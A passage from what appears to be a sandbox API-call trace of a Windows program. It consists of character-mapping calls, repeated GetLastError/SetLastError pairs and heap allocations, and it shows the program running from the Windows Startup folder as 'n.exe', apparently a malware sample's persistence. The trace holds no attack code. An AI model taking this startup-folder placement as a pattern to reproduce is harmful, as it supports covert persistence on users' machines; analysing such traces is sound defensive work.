!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꊨᒌ魴DĀ") returned 256 [0126.403] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꊨᒌ魴DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0126.403] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꊨᒌ魴DĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0126.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ$m¼Õ\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0126.403] GetLastError () returned 0x0 [0126.403] SetLastError (dwErrCode=0x0) [0126.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꊨᒌ魴DĀ") returned 256 [0126.403] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꊨᒌ魴DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0126.404] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꊨᒌ魴DĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0126.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ$m¼Õ\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0126.404] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x4eb448, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x42 [0126.404] GetLastError () returned 0x0 [0126.404] SetLastError (dwErrCode=0x0) [0126.404] GetLastError () returned 0x0 [0126.404] SetLastError (dwErrCode=0x0) [0126.404] GetLastError () returned 0x0 [0126.404] SetLastError (dwErrCode=0x0) [0126.404] GetLastError () returned 0x0 [0126.404] SetLastError (dwErrCode=0x0) [0126.404] GetLastError () returned 0x0 [0126.404] SetLastError (dwErrCode=0x0) [0126.404] GetLastError () returned 0x0 [0126.404] SetLastError (dwErrCode=0x0) [0126.404] GetLastError () returned 0x0 [0126.404] SetLastError (dwErrCode=0x0) [0126.404] GetLastError () returned 0x0 [0126.404] SetLastError (dwErrCode=0x0) [0126.404] GetLastError () returned 0x0 [0126.419] SetLastError (dwErrCode=0x0) [0126.419] GetLastError () returned 0x0 [0126.419] SetLastError (dwErrCode=0x0) [0126.419] GetLastError () returned 0x0 [0126.419] SetLastError (dwErrCode=0x0) [0126.419] GetLastError () returned 0x0 [0126.419] SetLastError (dwErrCode=0x0) [0126.419] GetLastError () returned 0x0 [0126.419] SetLastError (dwErrCode=0x0) [0126.419] GetLastError () returned 0x0 [0126.419] SetLastError (dwErrCode=0x0) [0126.419] GetLastError () returned 0x0 [0126.419] SetLastError (dwErrCode=0x0) [0126.419] GetLastError () returned 0x0 [0126.419] SetLastError (dwErrCode=0x0) [0126.419] GetLastError () returned 0x0 [0126.419] SetLastError (dwErrCode=0x0) [0126.419] GetLastError () returned 0x0 [0126.419] SetLastError (dwErrCode=0x0) [0126.420] GetLastError () returned 0x0 [0126.420] SetLastError (dwErrCode=0x0) [0126.420] GetLastError () returned 0x0 [0126.420] SetLastError (dwErrCode=0x0) [0126.420] GetLastError () returned 0x0 [0126.420] SetLastError (dwErrCode=0x0) [0126.420] GetLastError () returned 0x0 [0126.420] SetLastError (dwErrCode=0x0) [0126.420] GetLastError () returned 0x0 [0126.420] SetLastError (dwErrCode=0x0) [0126.420] GetLastError () returned 0x0 [0126.420] SetLastError (dwErrCode=0x0) [0126.420] GetLastError () returned 0x0 [0126.420] SetLastError (dwErrCode=0x0) [0126.420] GetLastError () returned 0x0 [0126.420] SetLastError (dwErrCode=0x0) [0126.420] GetLastError () returned 0x0 [0126.420] SetLastError (dwErrCode=0x0) [0126.420] GetLastError () returned 0x0 [0126.420] SetLastError (dwErrCode=0x0) [0126.420] GetLastError () returned 0x0 [0126.429] SetLastError (dwErrCode=0x0) [0126.429] GetLastError () returned 0x0 [0126.429] SetLastError (dwErrCode=0x0) [0126.429] GetLastError () returned 0x0 [0126.429] SetLastError (dwErrCode=0x0) [0126.429] GetLastError () returned 0x0 [0126.429] SetLastError (dwErrCode=0x0) [0126.429] GetLastError () returned 0x0 [0126.429] SetLastError (dwErrCode=0x0) [0126.429] GetLastError () returned 0x0 [0126.429] SetLastError (dwErrCode=0x0) [0126.429] GetLastError () returned 0x0 [0126.429] SetLastError (dwErrCode=0x0) [0126.429] GetLastError () returned 0x0 [0126.430] SetLastError (dwErrCode=0x0) [0126.430] GetLastError () returned 0x0 [0126.430] SetLastError (dwErrCode=0x0) [0126.430] GetLastError () returned 0x0 [0126.430] SetLastError (dwErrCode=0x0) [0126.430] GetLastError () returned 0x0 [0126.430] SetLastError (dwErrCode=0x0) [0126.430] GetLastError () returned 0x0 [0126.430] SetLastError (dwErrCode=0x0) [0126.430] GetLastError () returned 0x0 [0126.430] SetLastError (dwErrCode=0x0) [0126.430] GetLastError () returned 0x0 [0126.430] SetLastError (dwErrCode=0x0) [0126.430] GetLastError () returned 0x0 [0126.430] SetLastError (dwErrCode=0x0) [0126.430] GetLastError () returned 0x0 [0126.430] SetLastError (dwErrCode=0x0) [0126.430] GetLastError () returned 0x0 [0126.430] SetLastError (dwErrCode=0x0) [0126.430] GetLastError () returned 0x0 [0126.443] SetLastError (dwErrCode=0x0) [0126.443] GetLastError () returned 0x0 [0126.443] SetLastError (dwErrCode=0x0) [0126.443] GetLastError () returned 0x0 [0126.443] SetLastError (dwErrCode=0x0) [0126.443] GetLastError () returned 0x0 [0126.443] SetLastError (dwErrCode=0x0) [0126.443] GetLastError () returned 0x0 [0126.443] SetLastError (dwErrCode=0x0) [0126.443] GetLastError () returned 0x0 [0126.443] SetLastError (dwErrCode=0x0) [0126.443] GetLastError () returned 0x0 [0126.443] SetLastError (dwErrCode=0x0) [0126.443] GetLastError () returned 0x0 [0126.443] SetLastError (dwErrCode=0x0) [0126.443] GetLastError () returned 0x0 [0126.444] SetLastError (dwErrCode=0x0) [0126.444] GetLastError () returned 0x0 [0126.444] SetLastError (dwErrCode=0x0) [0126.444] GetLastError () returned 0x0 [0126.444] SetLastError (dwErrCode=0x0) [0126.444] GetLastError () returned 0x0 [0126.444] SetLastError (dwErrCode=0x0) [0126.444] GetLastError () returned 0x0 [0126.444] SetLastError (dwErrCode=0x0) [0126.444] GetLastError () returned 0x0 [0126.444] SetLastError (dwErrCode=0x0) [0126.444] GetLastError () returned 0x0 [0126.444] SetLastError (dwErrCode=0x0) [0126.444] GetLastError () returned 0x0 [0126.444] SetLastError (dwErrCode=0x0) [0126.444] GetLastError () returned 0x0 [0126.444] SetLastError (dwErrCode=0x0) [0126.444] GetLastError () returned 0x0 [0126.444] SetLastError (dwErrCode=0x0) [0126.444] GetLastError () returned 0x0 [0126.444] SetLastError (dwErrCode=0x0) [0126.444] GetLastError () returned 0x0 [0126.445] SetLastError (dwErrCode=0x0) [0126.445] GetLastError () returned 0x0 [0126.445] SetLastError (dwErrCode=0x0) [0126.445] GetLastError () returned 0x0 [0126.445] SetLastError (dwErrCode=0x0) [0126.445] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4b) returned 0x3d19b0 [0126.445] GetLastError () returned 0x0 [0126.445] SetLastError (dwErrCode=0x0) [0126.445] GetLastError () returned 0x0 [0126.445] SetLastError (dwErrCode=0x0) [0126.445] GetLastError () returned 0x0 [0126.445] SetLastError (dwErrCode=0x0) [0126.445] GetLastError () returned 0x0 [0126.445] SetLastError (dwErrCode=0x0) [0126.445] GetLastError () returned 0x0 [0126.445] SetLastError (dwErrCode=0x0) [0126.445] GetLastError () returned 0x0 [0126.445] SetLastError (dwErrCode=0x0) [0126.445] GetLastError () returned 0x0 [0126.445] SetLastError (dwErrCode=0x0) [0126.445] GetLastError () returned 0x0 [0126.445] SetLastError (dwErrCode=0x0) [0126.445] GetLastError () returned 0x0 [0126.446] SetLastError (dwErrCode=0x0) [0126.446] GetLastError () returned 0x0 [0126.446] SetLastError (dwErrCode=0x0) [0126.446] GetLastError () returned 0x0 [0126.446] SetLastError (dwErrCode=0x0) [0126.446] GetLastError () returned 0x0 [0126.446] SetLastError (dwErrCode=0x0) [0126.446] GetLastError () returned 0x0 [0126.446] SetLastError (dwErrCode=0x0) [0126.446] GetLastError () returned 0x0 [0126.446] SetLastError (dwErrCode=0x0) [0126.446] GetLastError () returned 0x0 [0126.446] SetLastError (dwErrCode=0x0) [0126.446] GetLastError () returned 0x0 [0126.446] SetLastError (dwErrCode=0x0) [0126.446] GetLastError () returned 0x0 [0126.446] SetLastError (dwErrCode=0x0) [0126.446] GetLastError () returned 0x0 [0126.446] SetLastError (dwErrCode=0x0) [0126.446] GetLastError () returned 0x0 [0126.446] SetLastError (dwErrCode=0x0) [0126.446] GetLastError () returned 0x0 [0126.446] SetLastError (dwErrCode=0x0) [0126.447] GetLastError () returned 0x0 [0126.447] SetLastError (dwErrCode=0x0) [0126.447] GetLastError () returned 0x0 [0126.447] SetLastError (dwErrCode=0x0) [0126.447] GetLastError () returned 0x0 [0126.447] SetLastError (dwErrCode=0x0) [0126.447] GetLastError () returned 0x0 [0126.447] SetLastError (dwErrCode=0x0) [0126.447] GetLastError () returned 0x0 [0126.447] SetLastError (dwErrCode=0x0) [0126.447] GetLastError () returned 0x0 [0126.447] SetLastError (dwErrCode=0x0) [0126.447] GetLastError () returned 0x0 [0126.447] SetLastError (dwErrCode=0x0) [0126.447] GetLastError () returned 0x0 [0126.447] SetLastError (dwErrCode=0x0) [0126.447] GetLastError () returned 0x0 [0126.447] SetLastError (dwErrCode=0x0) [0126.447] GetLastError () returned 0x0 [0126.447] SetLastError (dwErrCode=0x0) [0126.447] GetLastError () returned 0x0 [0126.447] SetLastError (dwErrCode=0x0) [0126.447] GetLastError () returned 0x0 [0126.447] SetLastError (dwErrCode=0x0) [0126.448] GetLastError () returned 0x0 [0126.448] SetLastError (dwErrCode=0x0) [0126.448] GetLastError () returned 0x0 [0126.448] SetLastError (dwErrCode=0x0) [0126.448] GetLastError () returned 0x0 [0126.448] SetLastError (dwErrCode=0x0) [0126.448] GetLastError () returned 0x0 [0126.448] SetLastError (dwErrCode=0x0) [0126.448] GetLastError () returned 0x0 [0126.448] SetLastError (dwErrCode=0x0) [0126.448] GetLastError () returned 0x0 [0126.448] SetLastError (dwErrCode=0x0) [0126.448] GetLastError () returned 0x0 [0126.448] SetLastError (dwErrCode=0x0) [0126.448] GetLastError () returned 0x0 [0126.448] SetLastError (dwErrCode=0x0) [0126.448] GetLastError () returned 0x0 [0126.448] SetLastError (dwErrCode=0x0) [0126.448] GetLastError () returned 0x0 [0126.448] SetLastError (dwErrCode=0x0) [0126.448] GetLastError () returned 0x0 [0126.448] SetLastError (dwErrCode=0x0) [0126.448] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.449] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.449] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.449] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.449] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.449] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.449] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.449] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.449] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.449] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.449] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.449] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.449] GetLastError () returned 0x0 [0126.449] SetLastError (dwErrCode=0x0) [0126.450] GetLastError () returned 0x0 [0126.450] SetLastError (dwErrCode=0x0) [0126.450] GetLastError () returned 0x0 [0126.450] SetLastError (dwErrCode=0x0) [0126.450] GetLastError () returned 0x0 [0126.450] SetLastError (dwErrCode=0x0) [0126.450] GetLastError () returned 0x0 [0126.450] SetLastError (dwErrCode=0x0) [0126.450] GetLastError () returned 0x0 [0126.450] SetLastError (dwErrCode=0x0) [0126.450] GetLastError () returned 0x0 [0126.450] SetLastError (dwErrCode=0x0) [0126.450] GetLastError () returned 0x0 [0126.450] SetLastError (dwErrCode=0x0) [0126.450] GetLastError () returned 0x0 [0126.450] SetLastError (dwErrCode=0x0) [0126.450] GetLastError () returned 0x0 [0126.450] SetLastError (dwErrCode=0x0) [0126.450] GetLastError () returned 0x0 [0126.450] SetLastError (dwErrCode=0x0) [0126.450] GetLastError () returned 0x0 [0126.450] SetLastError (dwErrCode=0x0) [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x9c) returned 0x3d1a08 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1f) returned 0x3d1ab0 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x36) returned 0x3d1ad8 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x37) returned 0x3d1b18 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x3c) returned 0x3d1b58 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x31) returned 0x3d1ba0 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x17) returned 0x3d1be0 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x24) returned 0x3d1c00 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x14) returned 0x3d1c30 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xd) returned 0x3d1c50 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x25) returned 0x3d1c68 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x39) returned 0x3d1c98 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x18) returned 0x3d1ce0 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x17) returned 0x3d1d00 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xe) returned 0x3d1d20 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x69) returned 0x3d1d38 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x3e) returned 0x3d1db0 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1b) returned 0x3d1df8 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1d) returned 0x3d1e20 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x48) returned 0x3d1e48 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x12) returned 0x3d1e98 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x18) returned 0x3d1eb8 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1b) returned 0x3d1ed8 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x24) returned 0x3d1f00 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x29) returned 0x3d1f30 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1e) returned 0x3d1f68 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x41) returned 0x3d1f90 [0126.451] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x17) returned 0x3d1fe8 [0126.452] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x14) returned 0x3d2008 [0126.452] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xf) returned 0x3d2028 [0126.452] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x16) returned 0x3d2040 [0126.452] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x2a) returned 0x3d2060 [0126.452] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x29) returned 0x3d2098 [0126.452] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x15) returned 0x3d20d0 [0126.452] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1e) returned 0x3d20f0 [0126.452] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x2a) returned 0x3d2118 [0126.452] RtlAllocateHeap 